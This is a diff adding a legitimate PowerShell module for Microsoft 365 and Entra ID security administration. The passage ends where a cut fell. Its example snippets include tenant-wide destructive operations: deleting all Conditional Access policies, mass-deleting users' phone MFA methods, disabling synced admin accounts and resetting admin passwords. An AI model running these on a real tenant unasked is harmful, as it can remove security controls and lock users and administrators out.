diff --git a/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psd1 b/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psd1 new file mode 100644 index 0000000..b117c29 Binary files /dev/null and b/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psd1 differ diff --git a/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psm1 b/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psm1 new file mode 100644 index 0000000..addf3f2 --- /dev/null +++ b/CSTijgers/DCToolbox-main/DCToolbox/DCToolbox.psm1 @@ -0,0 +1,8124 @@ +function Get-DCHelp { + $DCToolboxVersion = '2.0.21' + + + $HelpText = @" + + ____ ____________ ____ + / __ \/ ____/_ __/___ ____ / / /_ ____ _ _ + / / / / / / / / __ \/ __ \/ / __ \/ __ \| |/_/ + / /_/ / /___ / / / /_/ / /_/ / / /_/ / /_/ /> < +/_____/\____/ /_/ \____/\____/_/_.___/\____/_/|_| + +A PowerShell toolbox for Microsoft 365 security fans. + +--------------------------------------------------- + +Author: Daniel Chronlund +Version: $DCToolboxVersion + +This PowerShell module contains a collection of tools for Microsoft 365 security tasks, Microsoft Graph functions, Entra ID management, Conditional Access, zero trust strategies, attack and defense scenarios, and more. + +The home of this module: https://github.com/DanielChronlund/DCToolbox + +Please follow me on my blog https://danielchronlund.com, on LinkedIn and on X! + +@DanielChronlund + + +To get started, explore and copy script examples to your clipboard with: + +"@ + + Write-Host -ForegroundColor "Yellow" $HelpText + Write-Host -ForegroundColor "Cyan" "Copy-DCExample" + Write-Host "" + Write-Host -ForegroundColor "Yellow" "List all available tools:" + Write-Host "" + Write-Host -ForegroundColor "Magenta" "Get-Command -Module DCToolbox" + Write-Host "" +} + + + +function Copy-DCExample { + function CreateMenu { + param + ( + [parameter(Mandatory = $true)] + [string]$MenuTitle, + [parameter(Mandatory = $true)] + [string[]]$MenuChoices + ) + + # Create a counter. + $Counter = 1 + + # Write menu title. + Write-Host -ForegroundColor "Yellow" "*** $MenuTitle ***" + Write-Host -ForegroundColor "Yellow" "" + + # Generate the menu choices. + foreach ($MenuChoice in $MenuChoices) { + Write-Host -ForegroundColor "Yellow" "[$Counter] $MenuChoice" + + # Add to counter. + $Counter = $Counter + 1 + } + + # Write empty line. + Write-Host -ForegroundColor "Yellow" "" + + # Write exit line. + Write-Host -ForegroundColor "Yellow" "[0] Quit" + + # Write empty line. + Write-Host -ForegroundColor "Yellow" "" + + # Prompt user for input. + $prompt = "Choice" + Read-Host $prompt + + # Return users choice. + return $prompt + } + + + # Function for handling the menu choice. + function HandleMenuChoice { + param + ( + [parameter(Mandatory = $true)] + [string[]]$MenuChoice + ) + + # Menu choices. + switch ($MenuChoice) { + 1 { + $Snippet = @' +# Microsoft Graph with PowerShell examples. + + +# *** Connect Examples *** + +# Connect to Microsoft Graph with delegated permissions. +$AccessToken = Invoke-DCEntraIDDeviceAuthFlow -ReturnAccessTokenInsteadOfRefreshToken + + +# Connect to Microsoft Graph with application permissions. +$Parameters = @{ + TenantName = 'example.onmicrosoft.com' + ClientID = '' + ClientSecret = '' +} + +$AccessToken = Connect-DCMsGraphAsApplication @Parameters + + +# *** Microsoft Graph Query Examples *** + +# GET data from Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = 'https://graph.microsoft.com/v1.0/users' +} + +Invoke-DCMsGraphQuery @Parameters + + +# POST changes to Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'POST' + GraphUri = 'https://graph.microsoft.com/v1.0/users' + GraphBody = @" + +"@ +} + +Invoke-DCMsGraphQuery @Parameters + + +# PUT changes to Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'PUT' + GraphUri = 'https://graph.microsoft.com/v1.0/users' + GraphBody = @" + +"@ +} + +Invoke-DCMsGraphQuery @Parameters + + +# PATCH changes to Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'PATCH' + GraphUri = 'https://graph.microsoft.com/v1.0/users' + GraphBody = @" + +"@ +} + +Invoke-DCMsGraphQuery @Parameters + + +# DELETE data from Microsoft Graph. +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = 'https://graph.microsoft.com/v1.0/users' +} + +Invoke-DCMsGraphQuery @Parameters + + +<# + Filter examples: + /users?$filter=startswith(givenName,'J') + /users?$filter=givenName eq 'Test' +#> + + +# Learn more about the Graph commands. +help Connect-DCMsGraphAsDelegated -Full +help Connect-DCMsGraphAsApplication -Full +help Invoke-DCMsGraphQuery -Full + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 2 { + $Snippet = @' +# Manage Conditional Access as code. + +<# +The user running this (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). +#> + +# OPTIONAL: To get another Global Admin to pre-consent to ALL required permissions for ALL Conditional Access tools in DCToolbox, ask them to run the following code in PowerShell (and make sure they Consent these permissions on behalf of the whole organisation). + +Install-Module Microsoft.Graph -Scope CurrentUser -Force + +$Scopes = 'Group.ReadWrite.All', +'Policy.ReadWrite.ConditionalAccess', +'Policy.Read.All', 'Directory.Read.All', +'Agreement.ReadWrite.All', +'Application.Read.All', +'RoleManagement.ReadWrite.Directory' + +Connect-MgGraph -Scopes $Scopes + + + +# --- Show Conditional Access Policies --- + +# Show basic info about Conditional Access policies in the tenant. +Get-DCConditionalAccessPolicies + +# Show policy names only. +Get-DCConditionalAccessPolicies -NamesOnly + +# Show Conditional Access policies in the tenant with targeted users and groups. +Get-DCConditionalAccessPolicies -ShowTargetResources -PrefixFilter 'GLOBAL - GRANT - MFA for All Users' + +# Show detailed info about Conditional Access policies in the tenant. +Get-DCConditionalAccessPolicies -Details -PrefixFilter 'GLOBAL - GRANT - MFA for All Users' + +# Show Named Locations in the tenant. +Get-DCNamedLocations + +# Filter Named Locations with a prefix. +Get-DCNamedLocations -PrefixFilter 'OFFICE-' + +# List all trusted IP addresses in Named Locations. +(Get-DCNamedLocations | where isTrusted -eq $true).ipRanges | Select-Object -Unique | Sort-Object + +# List all countries in Named Locations. +(Get-DCNamedLocations).countriesAndRegions | Select-Object -Unique | Sort-Object + + +# --- Rename Conditional Access Policies --- + +# Rename Conditional Access policies. +Rename-DCConditionalAccessPolicies -PrefixFilter 'PILOT - ' -AddCustomPrefix 'PROD - ' + +# Add a prefix to specific Conditional Access policies. +Rename-DCConditionalAccessPolicies -PrefixFilter 'GLOBAL - ' -AddCustomPrefix 'OLD - GLOBAL - ' + +# Add a prefix to ALL existing Conditional Access policies. +Rename-DCConditionalAccessPolicies -AddCustomPrefix 'OLD - ' + + +# --- Delete Conditional Access Policies --- + +# Delete ALL Conditional Access policies. +Remove-DCConditionalAccessPolicies + +# Delete all Conditional Access policies with a specific prefix. +Remove-DCConditionalAccessPolicies -PrefixFilter 'OLD - ' + +# Delete all Conditional Access policies WITHOUT a specific prefix (like -PrefixFilter but reversed). +Remove-DCConditionalAccessPolicies -ReversedPrefixFilter 'GLOBAL - ' + + +# --- Deploy Conditional Access Baseline PoC --- + +# Deploy a complete Conditional Access PoC in report-only mode from https://danielchronlund.com. +Deploy-DCConditionalAccessBaselinePoC + +# Deploy a complete Conditional Access PoC in production mode from https://danielchronlund.com (Dangerous). +Deploy-DCConditionalAccessBaselinePoC -SkipReportOnlyMode + +# Deploy a complete Conditional Access PoC in report-only mode with a PILOT prefix. +Deploy-DCConditionalAccessBaselinePoC -AddCustomPrefix 'PILOT - ' + + +# --- Bulk Manage Conditional Access Policies --- + +# Toggle Conditional Access policies between 'All users' and specified pilot group. +Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnablePilot + +# Toggle Conditional Access policies between specified pilot group and 'All users'. +Set-DCConditionalAccessPoliciesPilotMode -PrefixFilter 'GLOBAL - ' -PilotGroupName 'Conditional Access Pilot' -EnableProduction + +# Toggle specified Conditional Access policies between 'Enabled' and 'Report-only'. +Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToReportOnly + +# Toggle specified Conditional Access policies between 'Report-only' and 'Enabled'. +Set-DCConditionalAccessPoliciesReportOnlyMode -PrefixFilter 'GLOBAL - ' -SetToEnabled + +# Exclude specified break glass group from all Conditional Access policies. +Add-DCConditionalAccessPoliciesBreakGlassGroup -PrefixFilter 'GLOBAL - ' -ExcludeGroupName 'Excluded from Conditional Access' + + +# --- Export/Import Conditional Access Policies (JSON file) --- + +# Export your Conditional Access policies to a JSON file for backup (default file name). +Export-DCConditionalAccessPolicyDesign + +# Export your Conditional Access policies to a JSON file for backup (custom file name). +Export-DCConditionalAccessPolicyDesign -FilePath 'C:\Temp\Conditional Access Backup.json' + +# Export Conditional Access policies with a specifc prefix. +$Parameters = @{ + FilePath = 'Conditional Access.json' + PrefixFilter = 'GLOBAL - ' +} +Export-DCConditionalAccessPolicyDesign @Parameters + +# Import Conditional Access policies from a JSON file exported by Export-DCConditionalAccessPolicyDesign. +$Parameters = @{ + FilePath = 'C:\Temp\Conditional Access Backup.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false +} + +Import-DCConditionalAccessPolicyDesign @Parameters + +# Import Conditional Access policies and add a custom prefix. +$Parameters = @{ + FilePath = 'C:\Temp\Conditional Access Backup.json' + SkipReportOnlyMode = $false + DeleteAllExistingPolicies = $false + AddCustomPrefix = 'TEST - ' +} + +Import-DCConditionalAccessPolicyDesign @Parameters + + +# --- Generate Conditional Access Excel Reports --- + +# Export Conditional Access policy design report to Excel. +New-DCConditionalAccessPolicyDesignReport + +# Export Conditional Access Assignment Report to Excel. +$Parameters = @{ + IncludeGroupMembers = $false +} + +New-DCConditionalAccessAssignmentReport @Parameters + + +# --- Conditional Access What If Simulation --- + +# Run basic evaluation with default settings. +Invoke-DCConditionalAccessSimulation | Format-List + + +# Run evaluation with custom settings. +$Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false +} + +Invoke-DCConditionalAccessSimulation @Parameters + +# --- Conditional Access Simulation with Device Parameters --- + +# Basis evaluatie met standaardinstellingen. +Invoke-DCConditionalAccessSimulationWithDevices | Format-List + +# Evaluatie met aangepaste instellingen, inclusief apparaat-specifieke parameters. +$Parameters = @{ + UserPrincipalName = 'user@example.com' + ApplicationDisplayName = 'Office 365' + ClientApp = 'mobileAppsAndDesktopClients' + TrustedIPAddress = $true + Country = 'US' + Platform = 'windows' + SignInRiskLevel = 'medium' + UserRiskLevel = 'high' + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + DeviceID = 'device123' + DeviceOwnership = 'personal' + MdmAppId = 'app123' +} + +Invoke-DCConditionalAccessSimulationWithDevices @Parameters + +# Run basic evaluation offline against a JSON of Conditional Access policies. +Invoke-DCConditionalAccessSimulation -JSONFile 'Conditional Access Backup.json' | Format-List + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 3 { + $Snippet = @' +# Install required modules (if you are local admin) (only needed first time). +Install-Module -Name DCToolbox -Force +Install-Package msal.ps -Force + +# Install required modules as current user (if you're not local admin) (only needed first time). +Install-Module -Name DCToolbox -Scope CurrentUser -Force +Install-Package msal.ps -Scope CurrentUser -Force + +# Enable one of your Entra ID PIM roles. +Enable-DCEntraIDPIMRole + +# Enable multiple Entra ID PIM roles. +Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' + +# Fully automate Entra ID PIM role activation. +Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -UseMaximumTimeAllowed -Reason 'Performing some Exchange security coniguration according to change #12345.' + +<# + Example output: + + VERBOSE: Connecting to Entra ID... + + *** Activate PIM Role *** + + [1] User Account Administrator + [2] Application Administrator + [3] Security Administrator + [0] Exit + + Choice: 3 + Reason: Need to do some security work! + Duration [1 hour(s)]: 1 + VERBOSE: Activating PIM role... + VERBOSE: Security Administrator has been activated until 11/13/2020 11:41:01! +#> + + +# Learn more about Enable-DCEntraIDPIMRole. +help Enable-DCEntraIDPIMRole -Full + +# Privileged Identity Management | My roles: +# https://portal.azure.com/#blade/Microsoft_Azure_PIMCommon/ActivationMenuBlade/aadmigratedroles + +# Privileged Identity Management | Entra ID roles | Overview: +# https://portal.azure.com/#blade/Microsoft_Azure_PIMCommon/ResourceMenuBlade/aadoverview/resourceId//resourceType/tenant/provider/aadroles + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 4 { + $Snippet = @' +# Learn how to set this up. +Get-Help New-DCStaleAccountReport -Full + + +# Export stale Entra ID account report to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 30 +} + +New-DCStaleAccountReport @Parameters + + +# Export stale GUEST Entra ID account report to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 60 + OnlyGuests = $true +} + +New-DCStaleAccountReport @Parameters + + +# Export stale MEMBER Entra ID account report to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 60 + OnlyMembers = $true +} + +New-DCStaleAccountReport @Parameters + + +# Export stale GUEST Entra ID account report with group/team membership to Excel. +$Parameters = @{ + ClientID = '' + ClientSecret = '' + LastSeenDaysAgo = 60 + OnlyGuests = $true + IncludeMemberOf = $true +} + +New-DCStaleAccountReport @Parameters + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 5 { + $Snippet = @' +### Clean up phone authentication methods for all Entra ID users ### + +<# + Set the registered applications ClientID and ClientSecret further down. This script requires the following Microsoft Graph permissions: + Delegated: + UserAuthenticationMethod.ReadWrite.All + Reports.Read.All + + It also requires the DCToolbox PowerShell module: + Install-Module -Name DCToolbox -Force + + Note that this script cannot delete a users phone method if it is set as the default authentication method. Microsoft Graph cannot, as of 7/10 2021, manage the default authentication method for users in Entra ID. Hopefully the users method of choice was changed when he/she switched to the Microsoft Authenticator app or another MFA/passwordless authentication method. If not, ask them to change the default method before running the script. + + Use the following report to understand how many users are registered for phone authentication (can lag up to 48 hours): https://portal.azure.com/#blade/Microsoft_AAD_IAM/AuthenticationMethodsMenuBlade/AuthMethodsActivity +#> + + +# Connect to Microsoft Graph with delegated permissions. +Write-Verbose -Verbose -Message 'Connecting to Microsoft Graph...' +$Parameters = @{ + ClientID = '' + ClientSecret = '' +} + +$AccessToken = Connect-DCMsGraphAsDelegated @Parameters + + +# Fetch all users with phone authentication enabled from the Entra ID authentication usage report (we're using this usage report to save time and resources when querying Graph, but their might be a 24 hour delay in the report data). +Write-Verbose -Verbose -Message 'Fetching all users with any phone authentication methods registered...' +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/reports/credentialUserRegistrationDetails?`$filter=authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'mobilePhone') or authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'officePhone')" +} + +$AllUsersWithPhoneAuthentication = Invoke-DCMsGraphQuery @Parameters + + +# Output the number of users found. +Write-Verbose -Verbose -Message "Found $($AllUsersWithPhoneAuthentication.Count) users!" + + +# Loop through all those users. +$ProgressCounter = 0 +foreach ($User in $AllUsersWithPhoneAuthentication) { + # Show progress bar. + $ProgressCounter += 1 + [int]$PercentComplete = ($ProgressCounter / $AllUsersWithPhoneAuthentication.Count) * 100 + Write-Progress -PercentComplete $PercentComplete -Activity "Processing user $ProgressCounter of $($AllUsersWithPhoneAuthentication.Count)" -Status "$PercentComplete% Complete" + + # Retrieve a list of registered phone authentication methods for the user. This will return up to three objects, as a user can have up to three phones usable for authentication. + Write-Verbose -Verbose -Message "Fetching phone methods for $($User.userPrincipalName)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/users/$($User.userPrincipalName)/authentication/phoneMethods" + } + + $phoneMethods = Invoke-DCMsGraphQuery @Parameters + + <# + The value of id corresponding to the phoneType to delete is one of the following: + + b6332ec1-7057-4abe-9331-3d72feddfe41 to delete the alternateMobile phoneType. + e37fc753-ff3b-4958-9484-eaa9425c82bc to delete the office phoneType. + 3179e48a-750b-4051-897c-87b9720928f7 to delete the mobile phoneType. + #> + + # Loop through all user phone methods. + foreach ($phoneMethod in $phoneMethods) { + # Delete the phone method. + try { + if ($phoneMethod.phoneType) { + Write-Verbose -Verbose -Message "Deleting phone method '$($phoneMethod.phoneType)' for $($User.userPrincipalName)..." + $Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'DELETE' + GraphUri = "https://graph.microsoft.com/beta/users/$($User.userPrincipalName)/authentication/phoneMethods/$($phoneMethod.id)" + } + + Invoke-DCMsGraphQuery @Parameters | Out-Null + } + } + catch { + Write-Warning -Message "Could not delete phone method '$($phoneMethod.phoneType)' for $($User.userPrincipalName)! Is it the users default authentication method?" + } + } +} + + +break + +# BONUS SCRIPT: LIST ALL GUEST USERS WITH SMS AS A REGISTERED AUTHENTICATION METHOD. + +# First, create app registration and grant it: +# User.Read.All +# UserAuthenticationMethod.Read.All +# Reports.Read.All + + +# Connect to Microsoft Graph with delegated permissions. +Write-Verbose -Verbose -Message 'Connecting to Microsoft Graph...' +$Parameters = @{ + ClientID = '' + ClientSecret = '' +} + +$AccessToken = Connect-DCMsGraphAsDelegated @Parameters + + +# Fetch user authentication methods. +Write-Verbose -Verbose -Message 'Fetching all users with any phone authentication methods registered...' +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/reports/credentialUserRegistrationDetails?`$filter=authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'mobilePhone') or authMethods/any(t:t eq microsoft.graph.registrationAuthMethod'officePhone')" +} + +$AllUsersWithPhoneAuthentication = Invoke-DCMsGraphQuery @Parameters + + +# Fetch all guest users. +Write-Verbose -Verbose -Message 'Fetching all guest users...' +$Parameters = @{ + AccessToken = $AccessToken + GraphMethod = 'GET' + GraphUri = "https://graph.microsoft.com/beta/users?`$filter=userType eq 'Guest'" +} + +$AllGuestUsers = Invoke-DCMsGraphQuery @Parameters + + +# Check how many users who have an authentication phone number registered. +foreach ($Guest in $AllGuestUsers) { + if ($AllUsersWithPhoneAuthentication.userPrincipalName.Contains($Guest.UserPrincipalName)) { + Write-Output "$($Guest.displayName) ($($Guest.mail))" + } +} + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 6 { + $Snippet = @' +<# + .SYNOPSIS + A simple script template. + + .DESCRIPTION + Write a description of what the script does and how to use it. + + .PARAMETER Parameter1 + Inputs a string into the script. + + .PARAMETER Parameter2 + Inputs an integer into the script. + + .PARAMETER Parameter3 + Sets a script switch. + + .INPUTS + None + + .OUTPUTS + System.String + + .NOTES + Version: 1.0 + Author: Daniel Chronlund + Creation Date: 2021-01-01 + + .EXAMPLE + Script-Template -Parameter "Text" -Verbose + + .EXAMPLE + Script-Template -Parameter "Text" -Verbose +#> + + + +# ----- [Initialisations] ----- + +# Script parameters. +param ( + [parameter(Mandatory = $true)] + [string]$Parameter1 = "Text", + + [parameter(Mandatory = $true)] + [int32]$Parameter2 = 1, + + [parameter(Mandatory = $false)] + [switch]$Parameter3 +) + + +# Set Error Action - Possible choices: Stop, SilentlyContinue +$ErrorActionPreference = "Stop" + + + +# ----- [Declarations] ----- + +# Variable 1 description. +$Variable1 = "" + +# Variable 2 description. +$Variable2 = "" + + + +# ----- [Functions] ----- + +function function1 +{ + <# + .SYNOPSIS + A brief description of the function1 function. + + .DESCRIPTION + A detailed description of the function1 function. + + .PARAMETER Parameter1 + A description of the Parameter1 parameter. + + .EXAMPLE + function1 -Parameter1 'Value1' + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$Parameter1 + ) + + + $Output = $Parameter1 + + $Output +} + + + +# ----- [Execution] ----- + +# Do the following. +function1 -Parameter1 'Test' + + + +# ----- [End] ----- + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 7 { + $Snippet = @' +# README: This script is an example of what you might want to/need to do if your Entra ID has been breached. This script was created in the spirit of the zero trust assume breach methodology. The idea is that if you detect that attackers are already on the inside, then you must try to kick them out. This requires multiple steps and you also must handle other resources like your on-prem AD. However, this script example helps you in the right direction when it comes to Entra ID admin roles. + +# More info on my blog: https://danielchronlund.com/2021/03/29/my-azure-ad-has-been-breached-what-now/ + +break + + + +# *** Connect to Entra ID *** +Import-Module AzureAdPreview +Connect-AzureAd + + + +# *** Interesting Entra ID roles to inspect *** +$InterestingDirectoryRoles = 'Global Administrator', +'Global Reader', +'Privileged Role Administrator', +'Security Administrator', +'Application Administrator', +'Compliance Administrator' + + + +# *** Inspect current Entra ID admins (if you use Entra ID PIM) *** + +# Fetch tenant ID. +$TenantID = (Get-AzureAdTenantDetail).ObjectId + +# Fetch all Entra ID role definitions. +$EntraIDRoleDefinitions = Get-AzureAdMSPrivilegedRoleDefinition -ProviderId "aadRoles" -ResourceId $TenantID | Where-Object { $_.DisplayName -in $InterestingDirectoryRoles } + +# Fetch all Entra ID PIM role assignments. +$EntraIDDirectoryRoleAssignments = Get-AzureAdMSPrivilegedRoleAssignment -ProviderId "aadRoles" -ResourceId $TenantID | Where-Object { $_.RoleDefinitionId -in $EntraIDRoleDefinitions.Id } + +# Fetch Entra ID role members for each role and format as custom object. +$EntraIDDirectoryRoleMembers = foreach ($EntraIDDirectoryRoleAssignment in $EntraIDDirectoryRoleAssignments) { + $UserAccountDetails = Get-AzureAdUser -ObjectId $EntraIDDirectoryRoleAssignment.SubjectId + + $LastLogon = (Get-AzureAdAuditSigninLogs -top 1 -filter "UserId eq '$($EntraIDDirectoryRoleAssignment.SubjectId)'" | Select-Object CreatedDateTime).CreatedDateTime + + if ($LastLogon) { + $LastLogon = [System.TimeZoneInfo]::ConvertTimeBySystemTimeZoneId((Get-Date -Date $LastLogon), (Get-TimeZone).Id) + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "EntraIDDirectoryRole" -Value ($EntraIDRoleDefinitions | Where-Object { $_.Id -eq $EntraIDDirectoryRoleAssignment.RoleDefinitionId }).DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $UserAccountDetails.ObjectID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value $UserAccountDetails.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $UserAccountDetails.UserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "AssignmentState" -Value $EntraIDDirectoryRoleAssignment.AssignmentState + $CustomObject | Add-Member -MemberType NoteProperty -Name "AccountCreated" -Value $UserAccountDetails.ExtensionProperty.createdDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastLogon" -Value $LastLogon + $CustomObject +} + +# List all Entra ID role members (newest first). +$EntraIDDirectoryRoleMembers | Sort-Object AccountCreated -Descending | Format-Table + + + +# *** Inspect current Entra ID admins (only if you do NOT use Entra ID PIM) *** + +# Interesting Entra ID roles to inspect. +$InterestingDirectoryRoles = 'Global Administrator', +'Global Reader', +'Privileged Role Administrator', +'Security Administrator', +'Application Administrator', +'Compliance Administrator' + +# Fetch Entra ID role details. +$EntraIDDirectoryRoles = Get-AzureAdDirectoryRole | Where-Object { $_.DisplayName -in $InterestingDirectoryRoles } + +# Fetch Entra ID role members for each role and format as custom object. +$EntraIDDirectoryRoleMembers = foreach ($EntraIDDirectoryRole in $EntraIDDirectoryRoles) { + $RoleAssignments = Get-AzureAdDirectoryRoleMember -ObjectId $EntraIDDirectoryRole.ObjectId + + foreach ($RoleAssignment in $RoleAssignments) { + $LastLogon = (Get-AzureAdAuditSigninLogs -top 1 -filter "UserId eq '$($RoleAssignment.ObjectId)'" | Select-Object CreatedDateTime).CreatedDateTime + + if ($LastLogon) { + $LastLogon = [System.TimeZoneInfo]::ConvertTimeBySystemTimeZoneId((Get-Date -Date $LastLogon), (Get-TimeZone).Id) + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "EntraIDDirectoryRole" -Value $EntraIDDirectoryRole.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $RoleAssignment.ObjectID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value $RoleAssignment.DisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $RoleAssignment.UserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "AccountCreated" -Value $RoleAssignment.ExtensionProperty.createdDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastLogon" -Value $LastLogon + $CustomObject + } +} + +# List all Entra ID role members (newest first). +$EntraIDDirectoryRoleMembers | Sort-Object AccountCreated -Descending | Format-Table + + + +# *** Check if admin accounts are synced from on-prem (bad security) *** + +# Loop through the admins from previous output and fetch sync status. +$SyncedAdmins = foreach ($EntraIDDirectoryRoleMember in $EntraIDDirectoryRoleMembers) { + $IsSynced = (Get-AzureAdUser -ObjectId $EntraIDDirectoryRoleMember.UserID | Where-Object {$_.DirSyncEnabled -eq $true}).DirSyncEnabled + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $EntraIDDirectoryRoleMember.UserID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value $EntraIDDirectoryRoleMember.UserAccount + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $EntraIDDirectoryRoleMember.UserPrincipalName + + if ($IsSynced) { + $CustomObject | Add-Member -MemberType NoteProperty -Name "SyncedOnPremAccount" -Value 'True' + } else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "SyncedOnPremAccount" -Value 'False' + } + + $CustomObject +} + +# List admins (synced on-prem accounts first). +$SyncedAdmins | Sort-Object UserPrincipalName -Descending -Unique | Sort-Object SyncedOnPremAccount -Descending | Format-Table + + + +# *** ON-PREM SYNC PANIC BUTTON: Block all Entra ID admin accounts that are synced from on-prem *** +# WARNING: Make sure you understand what you're doing before running this script! + +# Loop through admins synced from on-prem and block sign-ins. +foreach ($SyncedAdmin in ($SyncedAdmins | Where-Object { $_.SyncedOnPremAccount -eq 'True' })) { + Set-AzureAdUser -ObjectID $SyncedAdmin.UserID -AccountEnabled $false +} + +# Check account status. +foreach ($SyncedAdmin in ($SyncedAdmins | Where-Object { $_.SyncedOnPremAccount -eq 'True' })) { + Get-AzureAdUser -ObjectID $SyncedAdmin.UserID | Select-Object userPrincipalName, AccountEnabled +} + + + +# *** Check admins last password set time *** + +# Connect to Microsoft online services. +Connect-MsolService + +# Loop through the admins from previous output and fetch LastPasswordChangeTimeStamp. +$AdminPasswordChanges = foreach ($EntraIDDirectoryRoleMember in ($EntraIDDirectoryRoleMembers| Sort-Object UserID -Unique)) { + $LastPasswordChangeTimeStamp = [System.TimeZoneInfo]::ConvertTimeBySystemTimeZoneId((Get-Date -Date (Get-MsolUser -ObjectId $EntraIDDirectoryRoleMember.UserID | Select-Object LastPasswordChangeTimeStamp).LastPasswordChangeTimeStamp), (Get-TimeZone).Id) + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserID" -Value $EntraIDDirectoryRoleMember.UserID + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserAccount" -Value $EntraIDDirectoryRoleMember.UserAccount + $CustomObject | Add-Member -MemberType NoteProperty -Name "UserPrincipalName" -Value $EntraIDDirectoryRoleMember.UserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "LastPasswordChangeTimeStamp" -Value $LastPasswordChangeTimeStamp + $CustomObject +} + +# List admins (newest passwords first). +$AdminPasswordChanges | Sort-Object LastPasswordChangeTimeStamp -Descending | Format-Table + + + +# *** ADMIN PASSWORD PANIC BUTTON: Reset passwords for all Entra ID admins (except for current user and break glass accounts) *** +# WARNING: Make sure you understand what you're doing before running this script! + +# IMPORTANT: Define your break glass accounts. +$BreakGlassAccounts = 'breakglass1@example.onmicrosoft.com', 'breakglass2@example.onmicrosoft.com' + +# The current user running PowerShell against Entra ID. +$CurrentUser = (Get-AzureAdCurrentSessionInfo).Account.Id + +# Loop through admins and set new complex passwords (using generated GUIDs). +foreach ($EntraIDDirectoryRoleMember in ($EntraIDDirectoryRoleMembers | Sort-Object UserPrincipalName -Unique)) { + if ($EntraIDDirectoryRoleMember.UserPrincipalName -notin $BreakGlassAccounts -and $EntraIDDirectoryRoleMember.UserPrincipalName -ne 